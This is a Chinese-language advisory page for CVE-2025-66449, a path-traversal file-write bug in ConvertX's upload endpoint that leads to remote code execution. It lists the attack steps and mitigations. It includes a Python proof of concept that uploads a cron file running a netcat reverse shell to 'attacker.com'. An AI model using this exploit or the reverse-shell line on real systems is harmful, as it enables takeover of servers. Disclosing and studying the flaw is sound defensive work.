IPBUF安全漏洞报告
English
CVE-2025-66449 CVSS 8.8 高危

CVE-2025-66449 | ConvertX 任意文件写入漏洞导致远程代码执行

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-66449
漏洞类型
任意文件写入/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ConvertX

相关标签

任意文件写入路径遍历远程代码执行ConvertX文件上传漏洞CVE-2025-66449高危漏洞

漏洞概述

ConvertX是一款自托管的在线文件转换器,其在0.16.0之前的版本中存在严重的任意文件写入漏洞。该漏洞位于/upload端点,攻击者(即使是低权限认证用户)可以利用此漏洞将任意文件写入服务器文件系统,包括覆盖系统二进制文件。由于上传功能直接使用用户提供的file.name参数而未进行任何安全清理,攻击者可以通过构造特殊的文件名来实现路径遍历或直接覆盖关键系统文件。一旦攻击者成功覆盖了系统二进制文件(如SSH、cron等),即可实现持久化的远程代码执行,获得服务器的完全控制权。该漏洞无需用户交互即可利用,CVSS评分高达8.8,属于高危漏洞。

技术细节

漏洞根源在于ConvertX的文件上传处理逻辑存在缺陷。在src/pages/upload.tsx的第27-30行代码中,系统直接从HTTP请求中提取file.name参数,并将其作为文件名保存到磁盘,而没有进行任何输入验证或路径规范化。具体问题包括:1) 未验证文件名是否包含路径遍历字符(如../);2) 未对特殊字符进行过滤或转义;3) 未限制文件保存路径在指定目录内。攻击者可以通过上传名为../../../etc/cron.d/malicious的文件来覆盖系统定时任务,或上传同名文件覆盖系统二进制程序。当被覆盖的二进制文件被执行时,攻击者植入的恶意代码将以相应权限运行,从而实现代码执行。修复方案(commit 550f472451755d095cf5802bc91f403e85b7129e)应包含文件名白名单验证、路径规范化处理以及上传目录限制等措施。

攻击链分析

STEP 1
步骤1
攻击者注册并登录ConvertX系统,获取认证会话
STEP 2
步骤2
构造包含路径遍历字符的特殊文件名(如../../../etc/cron.d/malicious)
STEP 3
步骤3
通过/upload端点上传恶意文件,服务器直接使用攻击者提供的文件名保存
STEP 4
步骤4
文件被写入服务器任意位置,可能覆盖系统二进制文件或cron任务
STEP 5
步骤5
当被覆盖的系统程序被执行时,攻击者的恶意代码以系统权限运行
STEP 6
步骤6
攻击者获得服务器持久化远程代码执行能力,实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import os # CVE-2025-66449 PoC - ConvertX Arbitrary File Write # Target: ConvertX < 0.16.0 TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/upload" # Authentication credentials USERNAME = "attacker" PASSWORD = "password" def login(session): """Authenticate to ConvertX""" response = session.post(LOGIN_URL, json={ "username": USERNAME, "password": PASSWORD }) return response.status_code == 200 def upload_malicious_file(session, filename, content): """Upload arbitrary file with controlled filename""" files = { 'file': (filename, content, 'application/octet-stream') } response = session.post(UPLOAD_URL, files=files) return response.status_code == 200 def exploit(): """Exploit arbitrary file write to achieve RCE""" session = requests.Session() # Step 1: Login if not login(session): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Overwrite system binary (example: cron) # Path traversal to write to /etc/cron.d/ malicious_cron = "* * * * * root nc -e /bin/bash attacker.com 4444\n" filename = "../../../etc/cron.d/malicious" if upload_malicious_file(session, filename, malicious_cron): print(f"[+] Uploaded malicious file: {filename}") print("[+] Cron job will execute reverse shell") else: print("[-] File upload failed") return True if __name__ == "__main__": exploit()

影响范围

ConvertX < 0.16.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制文件上传功能仅对受信任用户开放;2) 在Web服务器层面配置禁止访问包含../路径的请求;3) 对/upload端点实施严格的访问控制;4) 监控文件系统变更,特别是/etc、/usr/bin等关键目录;5) 禁用不必要的文件上传功能直到完成补丁部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表